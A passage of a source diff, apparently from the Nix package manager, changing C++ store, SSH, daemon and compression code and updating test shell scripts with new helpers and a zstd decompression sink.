(!hook && fd == builderOut.readSide.get()))
(!hook && fd == builderOut.get()))
{
logSize += data.size();
if (settings.maxLogSize && logSize > settings.maxLogSize) {
@@ -3887,6 +3932,8 @@ public:
void handleChildOutput(int fd, const string & data) override;
void handleEOF(int fd) override;
void cleanup() override;
Path getStorePath() { return storePath; }
void amDone(ExitCode result) override
@@ -3910,15 +3957,7 @@ SubstitutionGoal::SubstitutionGoal(const Path & storePath, Worker & worker, Repa
SubstitutionGoal::~SubstitutionGoal()
{
try {
if (thr.joinable()) {
// FIXME: signal worker thread to quit.
thr.join();
worker.childTerminated(this);
}
} catch (...) {
ignoreException();
}
cleanup();
}
@@ -3953,6 +3992,8 @@ void SubstitutionGoal::tryNext()
{
trace("trying next substituter");
cleanup();
if (subs.size() == 0) {
/* None left. Terminate this goal and let someone else deal
with it. */
@@ -4080,7 +4121,7 @@ void SubstitutionGoal::tryToRun()
thr = std::thread([this]() {
try {
/* Wake up the worker loop when we're done. */
Finally updateStats([this]() { outPipe.writeSide = -1; });
Finally updateStats([this]() { outPipe.writeSide.close(); });
Activity act(*logger, actSubstitute, Logger::Fields{storePath, sub->getUri()});
PushActivity pact(act.id);
@@ -4164,6 +4205,20 @@ void SubstitutionGoal::handleEOF(int fd)
if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this());
}
void SubstitutionGoal::cleanup()
{
try {
if (thr.joinable()) {
// FIXME: signal worker thread to quit.
thr.join();
worker.childTerminated(this);
}
outPipe.close();
} catch (...) {
ignoreException();
}
}
//////////////////////////////////////////////////////////////////////
@@ -4443,7 +4498,7 @@ void Worker::waitForInput()
if (!waitingForAWhile.empty()) {
useTimeout = true;
if (lastWokenUp == steady_time_point::min())
printError("waiting for locks or build slots...");
printError("waiting for locks, build slots or build users...");
if (lastWokenUp == steady_time_point::min() || lastWokenUp > before) lastWokenUp = before;
timeout.tv_sec = std::max(1L,
(long) std::chrono::duration_cast<std::chrono::seconds>(
+7
View File
@@ -349,6 +349,13 @@ struct CurlDownloader : public Downloader
(httpStatus == 200 || httpStatus == 201 || httpStatus == 204 || httpStatus == 206 || httpStatus == 304 || httpStatus == 226 /* FTP */ || httpStatus == 0 /* other protocol */))
{
result.cached = httpStatus == 304;
// In 2021, GitHub responds to If-None-Match with 304,
// but omits ETag. We just use the If-None-Match etag
// since 304 implies they are the same.
if (httpStatus == 304 && result.etag == "")
result.etag = request.expectedETag;
act.progress(result.bodySize, result.bodySize);
done = true;
callback(std::move(result));
+1 -1
View File
@@ -876,7 +876,7 @@ void LocalStore::autoGC(bool sync)
if (statvfs(realStoreDir.c_str(), &st))
throw SysError("getting filesystem info about '%s'", realStoreDir);
return (uint64_t) st.f_bavail * st.f_bsize;
return (uint64_t) st.f_bavail * st.f_frsize;
};
std::shared_future<void> future;
+1 -1
View File
@@ -34,7 +34,7 @@ Settings::Settings()
, nixLibexecDir(canonPath(getEnv("NIX_LIBEXEC_DIR", NIX_LIBEXEC_DIR)))
, nixBinDir(canonPath(getEnv("NIX_BIN_DIR", NIX_BIN_DIR)))
, nixManDir(canonPath(NIX_MAN_DIR))
, nixDaemonSocketFile(canonPath(nixStateDir + DEFAULT_SOCKET_PATH))
, nixDaemonSocketFile(canonPath(getEnv("NIX_DAEMON_SOCKET_PATH", nixStateDir + DEFAULT_SOCKET_PATH)))
{
buildUsersGroup = getuid() == 0 ? "nixbld" : "";
lockCPU = getEnv("NIX_AFFINITY_HACK", "1") == "1";
+6 -4
View File
@@ -82,7 +82,7 @@ protected:
checkEnabled();
try {
DownloadRequest request(cacheUri + "/" + path);
DownloadRequest request(makeRequest(path));
request.head = true;
getDownloader()->download(request);
return true;
@@ -100,7 +100,7 @@ protected:
const std::string & data,
const std::string & mimeType) override
{
auto req = DownloadRequest(cacheUri + "/" + path);
auto req = makeRequest(path);
req.data = std::make_shared<string>(data); // FIXME: inefficient
req.mimeType = mimeType;
try {
@@ -112,8 +112,10 @@ protected:
DownloadRequest makeRequest(const std::string & path)
{
DownloadRequest request(cacheUri + "/" + path);
return request;
return DownloadRequest(
hasPrefix(path, "https://") || hasPrefix(path, "http://") || hasPrefix(path, "file://")
? path
: cacheUri + "/" + path);
}
void getFile(const std::string & path, Sink & sink) override
+2
View File
@@ -15,6 +15,7 @@ struct LegacySSHStore : public Store
{
const Setting<int> maxConnections{this, 1, "max-connections", "maximum number of concurrent SSH connections"};
const Setting<Path> sshKey{this, "", "ssh-key", "path to an SSH private key"};
const Setting<std::string> sshPublicHostKey{this, "", "base64-ssh-public-host-key", "The public half of the host's SSH key"};
const Setting<bool> compress{this, false, "compress", "whether to compress the connection"};
const Setting<Path> remoteProgram{this, "nix-store", "remote-program", "path to the nix-store executable on the remote system"};
const Setting<std::string> remoteStore{this, "", "remote-store", "URI of the store on the remote system"};
@@ -48,6 +49,7 @@ struct LegacySSHStore : public Store
, master(
host,
sshKey,
sshPublicHostKey,
// Use SSH master only if using more than 1 connection.
connections->capacity() > 1,
compress,
+51 -1
View File
@@ -623,7 +623,7 @@ uint64_t LocalStore::addValidPath(State & state,
{
auto state_(Store::state.lock());
state_->pathInfoCache.upsert(storePathToHash(info.path), std::make_shared<ValidPathInfo>(info));
state_->pathInfoCache.upsert(storePathToHash(info.path), PathInfoCacheValue(info));
}
return id;
@@ -1029,6 +1029,40 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source,
throw Error("size mismatch importing path '%s';\n wanted: %s\n got: %s",
info.path, info.narSize, hashResult.second);
if (!info.ca.empty()) {
auto ca = info.ca;
if (hasPrefix(ca, "fixed:")) {
bool recursive = ca.compare(6, 2, "r:") == 0;
Hash expectedHash(std::string(ca, recursive ? 8 : 6));
if (info.references.empty()) {
auto actualFoHash = hashCAPath(
recursive,
expectedHash.type,
realPath
);
if (ca != actualFoHash) {
throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s",
info.path,
ca,
actualFoHash);
}
} else {
throw Error("path '%s' claims to be content-addressed, but has references. This isn’t allowed",
info.path);
}
} else if (hasPrefix(ca, "text:")) {
Hash textHash(std::string(ca, 5));
auto actualTextHash = hashString(htSHA256, readFile(realPath));
if (textHash != actualTextHash) {
throw Error("ca hash mismatch importing path '%s';\n specified: %s\n got: %s",
info.path,
textHash.to_string(Base32, true),
actualTextHash.to_string(Base32, true));
}
}
}
autoGC();
canonicalisePathMetaData(realPath, -1);
@@ -1450,4 +1484,20 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
}
std::string LocalStore::hashCAPath(
bool recursive,
const HashType & hashType,
const Path & path
)
{
HashSink caSink(hashType);
if (recursive) {
dumpPath(path, caSink);
} else {
readFile(path, caSink);
}
auto hash = caSink.finish().first;
return makeFixedOutputCA(recursive, hash);
}
}
+8 -2
View File
@@ -295,8 +295,14 @@ private:
void createUser(const std::string & userName, uid_t userId) override;
friend class DerivationGoal;
friend class SubstitutionGoal;
std::string hashCAPath(
bool recursive,
const HashType & hashType,
const Path & path
);
friend struct DerivationGoal;
friend struct SubstitutionGoal;
};
+2 -2
View File
@@ -9,7 +9,7 @@ libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc)
libstore_LIBS = libutil
libstore_LDFLAGS = $(SQLITE3_LIBS) -lbz2 $(LIBCURL_LIBS) $(SODIUM_LIBS) -pthread
ifneq ($(OS), FreeBSD)
ifdef HOST_LINUX
libstore_LDFLAGS += -ldl
endif
@@ -21,7 +21,7 @@ ifeq ($(ENABLE_S3), 1)
libstore_LDFLAGS += -laws-cpp-sdk-transfer -laws-cpp-sdk-s3 -laws-cpp-sdk-core
endif
ifeq ($(OS), SunOS)
ifdef HOST_SOLARIS
libstore_LDFLAGS += -lsocket
endif
+4
View File
@@ -56,6 +56,10 @@ class AwsLogger : public Aws::Utils::Logging::FormattedLogSystem
{
debug("AWS: %s", chomp(statement));
}
#if !(AWS_VERSION_MAJOR <= 1 && AWS_VERSION_MINOR <= 7 && AWS_VERSION_PATCH <= 115)
void Flush() override {}
#endif
};
static void initAWS()
+3 -1
View File
@@ -32,7 +32,9 @@
(literal "/tmp") (subpath TMPDIR))
; Some packages like to read the system version.
(allow file-read* (literal "/System/Library/CoreServices/SystemVersion.plist"))
(allow file-read*
(literal "/System/Library/CoreServices/SystemVersion.plist")
(literal "/System/Library/CoreServices/SystemVersionCompat.plist"))
; Without this line clang cannot write to /dev/null, breaking some configure tests.
(allow file-read-metadata (literal "/dev"))
+6 -1
View File
@@ -1,4 +1,5 @@
#include "sqlite.hh"
#include "globals.hh"
#include "util.hh"
#include <sqlite3.h>
@@ -27,8 +28,12 @@ namespace nix {
SQLite::SQLite(const Path & path)
{
// useSQLiteWAL also indicates what virtual file system we need. Using
// `unix-dotfile` is needed on NFS file systems and on Windows' Subsystem
// for Linux (WSL) where useSQLiteWAL should be false by default.
const char *vfs = settings.useSQLiteWAL ? 0 : "unix-dotfile";
if (sqlite3_open_v2(path.c_str(), &db,
SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, 0) != SQLITE_OK)
SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, vfs) != SQLITE_OK)
throw Error(format("cannot open SQLite database '%s'") % path);
}
+7 -1
View File
@@ -15,7 +15,10 @@ class SSHStore : public RemoteStore
public:
const Setting<Path> sshKey{(Store*) this, "", "ssh-key", "path to an SSH private key"};
const Setting<std::string> sshPublicHostKey{(Store*) this, "", "base64-ssh-public-host-key", "The public half of the host's SSH key"};
const Setting<bool> compress{(Store*) this, false, "compress", "whether to compress the connection"};
const Setting<Path> remoteProgram{(Store*) this, "nix-daemon", "remote-program", "path to the nix-daemon executable on the remote system"};
const Setting<std::string> remoteStore{(Store*) this, "", "remote-store", "URI of the store on the remote system"};
SSHStore(const std::string & host, const Params & params)
: Store(params)
@@ -24,6 +27,7 @@ public:
, master(
host,
sshKey,
sshPublicHostKey,
// Use SSH master only if using more than 1 connection.
connections->capacity() > 1,
compress)
@@ -82,7 +86,9 @@ ref<FSAccessor> SSHStore::getFSAccessor()
ref<RemoteStore::Connection> SSHStore::openConnection()
{
auto conn = make_ref<Connection>();
conn->sshConn = master.startCommand("nix-daemon --stdio");
conn->sshConn = master.startCommand(
fmt("%s --stdio", remoteProgram)
+ (remoteStore.get() == "" ? "" : " --store " + shellEscape(remoteStore.get())));
conn->to = FdSink(conn->sshConn->in.get());
conn->from = FdSource(conn->sshConn->out.get());
initConnection(*conn);
+14 -3
View File
@@ -2,24 +2,37 @@
namespace nix {
SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, bool useMaster, bool compress, int logFD)
SSHMaster::SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD)
: host(host)
, fakeSSH(host == "localhost")
, keyFile(keyFile)
, sshPublicHostKey(sshPublicHostKey)
, useMaster(useMaster && !fakeSSH)
, compress(compress)
, logFD(logFD)
{
if (host == "" || hasPrefix(host, "-"))
throw Error("invalid SSH host name '%s'", host);
auto state(state_.lock());
state->tmpDir = std::make_unique<AutoDelete>(createTempDir("", "nix", true, true, 0700));
}
void SSHMaster::addCommonSSHOpts(Strings & args)
{
auto state(state_.lock());
for (auto & i : tokenizeString<Strings>(getEnv("NIX_SSHOPTS")))
args.push_back(i);
if (!keyFile.empty())
args.insert(args.end(), {"-i", keyFile});
if (!sshPublicHostKey.empty()) {
Path fileName = (Path) *state->tmpDir + "/host-key";
auto p = host.rfind("@");
string thost = p != string::npos ? string(host, p + 1) : host;
writeFile(fileName, thost + " " + base64Decode(sshPublicHostKey) + "\n");
args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName});
}
if (compress)
args.push_back("-C");
}
@@ -87,8 +100,6 @@ Path SSHMaster::startMaster()
if (state->sshMaster != -1) return state->socketPath;
state->tmpDir = std::make_unique<AutoDelete>(createTempDir("", "nix", true, true, 0700));
state->socketPath = (Path) *state->tmpDir + "/ssh.sock";
Pipe out;
+2 -1
View File
@@ -12,6 +12,7 @@ private:
const std::string host;
bool fakeSSH;
const std::string keyFile;
const std::string sshPublicHostKey;
const bool useMaster;
const bool compress;
const int logFD;
@@ -29,7 +30,7 @@ private:
public:
SSHMaster(const std::string & host, const std::string & keyFile, bool useMaster, bool compress, int logFD = -1);
SSHMaster(const std::string & host, const std::string & keyFile, const std::string & sshPublicHostKey, bool useMaster, bool compress, int logFD = -1);
struct Connection
{
+16 -7
View File
@@ -261,6 +261,15 @@ std::string Store::getUri()
return "";
}
bool Store::PathInfoCacheValue::isKnownNow()
{
std::chrono::duration ttl = didExist()
? std::chrono::seconds(settings.ttlPositiveNarInfoCache)
: std::chrono::seconds(settings.ttlNegativeNarInfoCache);
return std::chrono::steady_clock::now() < time_point + ttl;
}
bool Store::isValidPath(const Path & storePath)
{
@@ -271,9 +280,9 @@ bool Store::isValidPath(const Path & storePath)
{
auto state_(state.lock());
auto res = state_->pathInfoCache.get(hashPart);
if (res) {
if (res && res->isKnownNow()) {
stats.narInfoReadAverted++;
return *res != 0;
return res->didExist();
}
}
@@ -283,7 +292,7 @@ bool Store::isValidPath(const Path & storePath)
stats.narInfoReadAverted++;
auto state_(state.lock());
state_->pathInfoCache.upsert(hashPart,
res.first == NarInfoDiskCache::oInvalid ? 0 : res.second);
res.first == NarInfoDiskCache::oInvalid ? 0 : PathInfoCacheValue(res.second));
return res.first == NarInfoDiskCache::oValid;
}
}
@@ -340,11 +349,11 @@ void Store::queryPathInfo(const Path & storePath,
{
auto res = state.lock()->pathInfoCache.get(hashPart);
if (res) {
if (res && res->isKnownNow()) {
stats.narInfoReadAverted++;
if (!*res)
if (!res->didExist())
throw InvalidPath(format("path '%s' is not valid") % storePath);
return callback(ref<ValidPathInfo>(*res));
return callback(ref<ValidPathInfo>(res->value));
}
}
@@ -355,7 +364,7 @@ void Store::queryPathInfo(const Path & storePath,
{
auto state_(state.lock());
state_->pathInfoCache.upsert(hashPart,
res.first == NarInfoDiskCache::oInvalid ? 0 : res.second);
res.first == NarInfoDiskCache::oInvalid ? 0 : PathInfoCacheValue(res.second));
if (res.first == NarInfoDiskCache::oInvalid ||
(res.second->path != storePath && storePathToName(storePath) != ""))
throw InvalidPath(format("path '%s' is not valid") % storePath);
+33 -2
View File
@@ -15,6 +15,7 @@
#include <unordered_set>
#include <memory>
#include <string>
#include <chrono>
namespace nix {
@@ -256,9 +257,39 @@ public:
protected:
struct PathInfoCacheValue {
PathInfoCacheValue(std::shared_ptr<ValidPathInfo> value) :
time_point(std::chrono::steady_clock::now()),
value(value) {}
// Convenience constructor copying from reference
PathInfoCacheValue(const ValidPathInfo& value) :
PathInfoCacheValue(std::make_shared<ValidPathInfo>(value)) {}
// Record a missing path
PathInfoCacheValue(std::nullptr_t nil) :
PathInfoCacheValue(std::shared_ptr<ValidPathInfo>()) {}
// Time of cache entry creation or update(?)
std::chrono::time_point<std::chrono::steady_clock> time_point;
// Null if missing
std::shared_ptr<ValidPathInfo> value;
// Whether the value is valid as a cache entry. The path may not exist.
bool isKnownNow();
// Past tense, because a path can only be assumed to exists when
// isKnownNow() && didExist()
inline bool didExist() {
return value != 0;
}
};
struct State
{
LRUCache<std::string, std::shared_ptr<ValidPathInfo>> pathInfoCache;
LRUCache<std::string, PathInfoCacheValue> pathInfoCache;
};
Sync<State> state;
@@ -649,7 +680,7 @@ class LocalFSStore : public virtual Store
public:
// FIXME: the (Store*) cast works around a bug in gcc that causes
// it to emit the call to the Option constructor. Clang works fine
// it to omit the call to the Setting constructor. Clang works fine
// either way.
const PathSetting rootDir{(Store*) this, true, "",
"root", "directory prefixed to all other paths"};
+1 -1
View File
@@ -261,7 +261,7 @@ static void parse(ParseSink & sink, Source & source, const Path & path)
names[name] = 0;
}
} else if (s == "node") {
if (s.empty()) throw badArchive("entry name missing");
if (name.empty()) throw badArchive("entry name missing");
parse(sink, source, path + "/" + name);
} else
throw badArchive("unknown field " + s);
+76
View File
@@ -5,8 +5,10 @@
#include <lzma.h>
#include <bzlib.h>
#include <zstd.h>
#include <cstdio>
#include <cstring>
#include <vector>
#include <brotli/decode.h>
#include <brotli/encode.h>
@@ -198,6 +200,78 @@ struct BrotliDecompressionSink : ChunkedCompressionSink
}
};
struct ZstdDecompressionSink : CompressionSink
{
Sink & nextSink;
ZSTD_DStream *strm;
std::vector<uint8_t> inbuf;
size_t outbuf_size = ZSTD_DStreamOutSize();
uint8_t *outbuf = new uint8_t[outbuf_size];
ZstdDecompressionSink(Sink & nextSink) : nextSink(nextSink)
{
strm = ZSTD_createDStream();
if (!strm)
throw CompressionError("unable to initialise zstd decoder");
ZSTD_initDStream(strm);
}
~ZstdDecompressionSink()
{
delete[] outbuf;
ZSTD_freeDStream(strm);
}
void finish() override
{
// this call doesn't make any sense, but it's here for consistency with the other compression sinks
// CompressionSink inherits from BufferedSink, but none of the subclasses appear to ever make use of the buffer
flush();
// if we still have undecoded data in the input buffer, we can't signal EOF to libzstd
// if we don't, then we're done here anyway
if (inbuf.size())
throw CompressionError("received unexpected EOF while decompressing zstd file");
nextSink(nullptr, 0);
}
void write(const unsigned char * data, size_t len) override
{
inbuf.insert(inbuf.end(), data, data + len);
ZSTD_inBuffer in = {
.src = inbuf.data(),
.size = inbuf.size(),
.pos = 0
};
ZSTD_outBuffer out = {
.dst = outbuf,
.size = outbuf_size,
.pos = 0
};
while (in.pos < in.size) {
out.pos = 0;
size_t ret = ZSTD_decompressStream(strm, &out, &in);
if (ZSTD_isError(ret))
throw CompressionError("error %s while decompressing zstd file", ZSTD_getErrorName(ret));
if (out.pos)
nextSink(outbuf, out.pos);
else
break;
}
// drop consumed input
inbuf.erase(inbuf.begin(), inbuf.begin() + in.pos);
}
};
ref<std::string> decompress(const std::string & method, const std::string & in)
{
StringSink ssink;
@@ -217,6 +291,8 @@ ref<CompressionSink> makeDecompressionSink(const std::string & method, Sink & ne
return make_ref<BzipDecompressionSink>(nextSink);
else if (method == "br")
return make_ref<BrotliDecompressionSink>(nextSink);
else if (method == "zstd")
return make_ref<ZstdDecompressionSink>(nextSink);
else
throw UnknownCompressionMethod("unknown compression method '%s'", method);
}
+1
View File
@@ -1,6 +1,7 @@
#include "json.hh"
#include <iomanip>
#include <cstdint>
#include <cstring>
namespace nix {
+1 -1
View File
@@ -6,4 +6,4 @@ libutil_DIR := $(d)
libutil_SOURCES := $(wildcard $(d)/*.cc)
libutil_LDFLAGS = $(LIBLZMA_LIBS) -lbz2 -pthread $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(BOOST_LDFLAGS) -lboost_context
libutil_LDFLAGS = $(LIBLZMA_LIBS) -lbz2 -pthread $(OPENSSL_LIBS) $(LIBBROTLI_LIBS) $(LIBZSTD_LIBS) $(BOOST_LDFLAGS) -lboost_context
+10 -3
View File
@@ -753,6 +753,7 @@ void AutoCloseFD::close()
if (::close(fd) == -1)
/* This should never happen. */
throw SysError(format("closing file descriptor %1%") % fd);
fd = -1;
}
}
@@ -770,6 +771,12 @@ int AutoCloseFD::release()
return oldFD;
}
void Pipe::close()
{
readSide.close();
writeSide.close();
}
void Pipe::create()
{
@@ -1080,7 +1087,7 @@ void runProgram2(const RunOptions & options)
throw SysError("executing '%1%'", options.program);
}, processOptions);
out.writeSide = -1;
out.writeSide.close();
std::thread writerThread;
@@ -1093,7 +1100,7 @@ void runProgram2(const RunOptions & options)
if (source) {
in.readSide = -1;
in.readSide.close();
writerThread = std::thread([&]() {
try {
std::vector<unsigned char> buf(8 * 1024);
@@ -1110,7 +1117,7 @@ void runProgram2(const RunOptions & options)
} catch (...) {
promise.set_exception(std::current_exception());
}
in.writeSide = -1;
in.writeSide.close();
});
}
+2 -1
View File
@@ -190,7 +190,6 @@ public:
class AutoCloseFD
{
int fd;
void close();
public:
AutoCloseFD();
AutoCloseFD(int fd);
@@ -202,6 +201,7 @@ public:
int get() const;
explicit operator bool() const;
int release();
void close();
};
@@ -210,6 +210,7 @@ class Pipe
public:
AutoCloseFD readSide, writeSide;
void create();
void close();
};
+2 -1
View File
@@ -106,7 +106,7 @@ static void _main(int argc, char * * argv)
// Heuristic to see if we're invoked as a shebang script, namely,
// if we have at least one argument, it's the name of an
// executable file, and it starts with "#!".
if (runEnv && argc > 1 && !std::regex_search(argv[1], std::regex("nix-shell"))) {
if (runEnv && argc > 1) {
script = argv[1];
try {
auto lines = tokenizeString<Strings>(readFile(script), "\n");
@@ -425,6 +425,7 @@ static void _main(int argc, char * * argv)
"unset NIX_ENFORCE_PURITY; "
"shopt -u nullglob; "
"unset TZ; %6%"
"shopt -s execfail;"
"%7%",
(Path) tmpDir,
(pure ? "" : "p=$PATH; "),
+24 -12
View File
@@ -743,7 +743,11 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
static void processConnection(bool trusted,
const std::string & userName, uid_t userId)
/* Arbitrary hook to check authorization / initialize user data / whatever
after the protocol has been negotiated. The idea is that this function
and everything it calls doesn't know about this stuff, and the
`nix-daemon` handles that instead. */
std::function<void(Store &)> authHook)
{
MonitorFdHup monitor(from.fd);
@@ -781,20 +785,13 @@ static void processConnection(bool trusted,
/* If we can't accept clientVersion, then throw an error
*here* (not above). */
#if 0
/* Prevent users from doing something very dangerous. */
if (geteuid() == 0 &&
querySetting("build-users-group", "") == "")
throw Error("if you run 'nix-daemon' as root, then you MUST set 'build-users-group'!");
#endif
/* Open the store. */
Store::Params params; // FIXME: get params from somewhere
// Disable caching since the client already does that.
params["path-info-cache-size"] = "0";
auto store = openStore(settings.storeUri, params);
store->createUser(userName, userId);
authHook(*store);
tunnelLogger->stopWork();
to.flush();
@@ -901,7 +898,11 @@ static PeerInfo getPeerInfo(int remote)
#if defined(SO_PEERCRED)
#if defined(__OpenBSD__)
struct sockpeercred cred;
#else
ucred cred;
#endif
socklen_t credLen = sizeof(cred);
if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
throw SysError("getting peer credentials");
@@ -967,7 +968,7 @@ static void daemonLoop(char * * argv)
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
if (socketPathRel.size() >= sizeof(addr.sun_path))
if (socketPathRel.size() + 1 >= sizeof(addr.sun_path))
throw Error(format("socket path '%1%' is too long") % socketPathRel);
strcpy(addr.sun_path, socketPathRel.c_str());
@@ -1056,7 +1057,15 @@ static void daemonLoop(char * * argv)
/* Handle the connection. */
from.fd = remote.get();
to.fd = remote.get();
processConnection(trusted, user, peer.uid);
processConnection(trusted, [&](Store & store) {
#if 0
/* Prevent users from doing something very dangerous. */
if (geteuid() == 0 &&
querySetting("build-users-group", "") == "")
throw Error("if you run 'nix-daemon' as root, then you MUST set 'build-users-group'!");
#endif
store.createUser(user, peer.uid);
});
exit(0);
}, options);
@@ -1136,7 +1145,10 @@ static int _main(int argc, char * * argv)
}
}
} else {
processConnection(true, "root", 0);
/* Auth hook is empty because in this mode we blindly trust the
standard streams. Limitting access to thoses is explicitly
not `nix-daemon`'s responsibility. */
processConnection(true, [&](Store & _){});
}
} else {
daemonLoop(argv);
+4 -4
View File
@@ -50,10 +50,12 @@ bool createUserEnv(EvalState & state, DrvInfos & elems,
output paths, and optionally the derivation path, as well
as the meta attributes. */
Path drvPath = keepDerivations ? i.queryDrvPath() : "";
DrvInfo::Outputs outputs = i.queryOutputs(true);
StringSet metaNames = i.queryMetaNames();
Value & v(*state.allocValue());
manifest.listElems()[n++] = &v;
state.mkAttrs(v, 16);
state.mkAttrs(v, 7 + outputs.size());
mkString(*state.allocAttr(v, state.sType), "derivation");
mkString(*state.allocAttr(v, state.sName), i.queryName());
@@ -65,7 +67,6 @@ bool createUserEnv(EvalState & state, DrvInfos & elems,
mkString(*state.allocAttr(v, state.sDrvPath), i.queryDrvPath());
// Copy each output meant for installation.
DrvInfo::Outputs outputs = i.queryOutputs(true);
Value & vOutputs = *state.allocAttr(v, state.sOutputs);
state.mkList(vOutputs, outputs.size());
unsigned int m = 0;
@@ -85,8 +86,7 @@ bool createUserEnv(EvalState & state, DrvInfos & elems,
// Copy the meta attributes.
Value & vMeta = *state.allocAttr(v, state.sMeta);
state.mkAttrs(vMeta, 16);
StringSet metaNames = i.queryMetaNames();
state.mkAttrs(vMeta, metaNames.size());
for (auto & j : metaNames) {
Value * v = i.queryMeta(j);
if (!v) continue;
+8
View File
@@ -31,6 +31,11 @@ extern "C" {
#include "command.hh"
#include "finally.hh"
#if HAVE_BOEHMGC
#define GC_INCLUDE_NEW
#include <gc/gc_cpp.h>
#endif
namespace nix {
#define ESC_RED "\033[31m"
@@ -42,6 +47,9 @@ namespace nix {
#define ESC_END "\033[0m"
struct NixRepl
#if HAVE_BOEHMGC
: gc
#endif
{
string curDir;
EvalState state;
+1 -1
View File
@@ -1,4 +1,4 @@
ifeq ($(OS), Darwin)
ifdef HOST_DARWIN
programs += resolve-system-dependencies
endif
+5 -3
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "“--no-require-sigs” can’t be used with the daemon"
clearStore
clearCache
@@ -60,8 +62,8 @@ mv $nar $nar.good
mkdir -p $TEST_ROOT/empty
nix-store --dump $TEST_ROOT/empty | xz > $nar
nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
grep -q "hash mismatch" $TEST_ROOT/log
expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
grepQuiet "hash mismatch" $TEST_ROOT/log
mv $nar.good $nar
@@ -108,7 +110,7 @@ clearStore
rm $(grep -l "StorePath:.*dependencies-input-2" $cacheDir/*.narinfo)
nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
grep -q "copying path" $TEST_ROOT/log
grepQuiet "copying path" $TEST_ROOT/log
if [ -n "$HAVE_SODIUM" ]; then
+1 -1
View File
@@ -20,7 +20,7 @@ nix build -f dependencies.nix --dry-run 2>&1 | grep "will be built"
# TODO: XXX: FIXME: #1793
# Disable this part of the test until the problem is resolved:
if [ -n "$ISSUE_1795_IS_FIXED" ]; then
if [ -n "${ISSUE_1795_IS_FIXED-}" ]; then
clearStore
clearCache
+5 -5
View File
@@ -8,14 +8,14 @@ dep=$(nix-build -o $RESULT check-refs.nix -A dep)
# test1 references dep, not itself.
test1=$(nix-build -o $RESULT check-refs.nix -A test1)
(! nix-store -q --references $test1 | grep -q $test1)
nix-store -q --references $test1 | grep -q $dep
nix-store -q --references $test1 | grepQuietInverse $test1
nix-store -q --references $test1 | grepQuiet $dep
# test2 references src, not itself nor dep.
test2=$(nix-build -o $RESULT check-refs.nix -A test2)
(! nix-store -q --references $test2 | grep -q $test2)
(! nix-store -q --references $test2 | grep -q $dep)
nix-store -q --references $test2 | grep -q aux-ref
nix-store -q --references $test2 | grepQuietInverse $test2
nix-store -q --references $test2 | grepQuietInverse $dep
nix-store -q --references $test2 | grepQuiet aux-ref
# test3 should fail (unallowed ref).
(! nix-build -o $RESULT check-refs.nix -A test3)
+2 -2
View File
@@ -8,8 +8,8 @@ nix-build -o $RESULT check-reqs.nix -A test1
(! nix-build -o $RESULT check-reqs.nix -A test2)
(! nix-build -o $RESULT check-reqs.nix -A test3)
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grep -q 'check-reqs-dep1'
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grep -q 'check-reqs-dep2'
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1'
(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2'
(! nix-build -o $RESULT check-reqs.nix -A test5)
(! nix-build -o $RESULT check-reqs.nix -A test6)
+3
View File
@@ -1,5 +1,8 @@
source common.sh
# XXX: This shouldn’t be, but #4813 cause this test to fail
buggyNeedLocalStore "see #4813"
clearStore
nix-build dependencies.nix --no-out-link
+149 -16
View File
@@ -1,6 +1,12 @@
set -e
set -eu -o pipefail
export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)
if [[ -z "${COMMON_SH_SOURCED-}" ]]; then
COMMON_SH_SOURCED=1
export PS4='+(${BASH_SOURCE[0]}:$LINENO) '
export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default}
export NIX_STORE_DIR
if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then
# Maybe the build directory is symlinked.
@@ -11,13 +17,14 @@ export NIX_LOCALSTATE_DIR=$TEST_ROOT/var
export NIX_LOG_DIR=$TEST_ROOT/var/log/nix
export NIX_STATE_DIR=$TEST_ROOT/var/nix
export NIX_CONF_DIR=$TEST_ROOT/etc
export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/daemon-socket
export _NIX_TEST_SHARED=$TEST_ROOT/shared
if [[ -n $NIX_STORE ]]; then
export _NIX_TEST_NO_SANDBOX=1
fi
export _NIX_IN_TEST=$TEST_ROOT/shared
export _NIX_TEST_NO_LSOF=1
export NIX_REMOTE=$NIX_REMOTE_
export NIX_REMOTE=${NIX_REMOTE_-}
unset NIX_PATH
export TEST_HOME=$TEST_ROOT/test-home
export HOME=$TEST_HOME
@@ -25,6 +32,13 @@ unset XDG_CACHE_HOME
mkdir -p $TEST_HOME
export PATH=@bindir@:$PATH
if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then
export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH
fi
DAEMON_PATH="$PATH"
if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH"
fi
coreutils=@coreutils@
export dot=@dot@
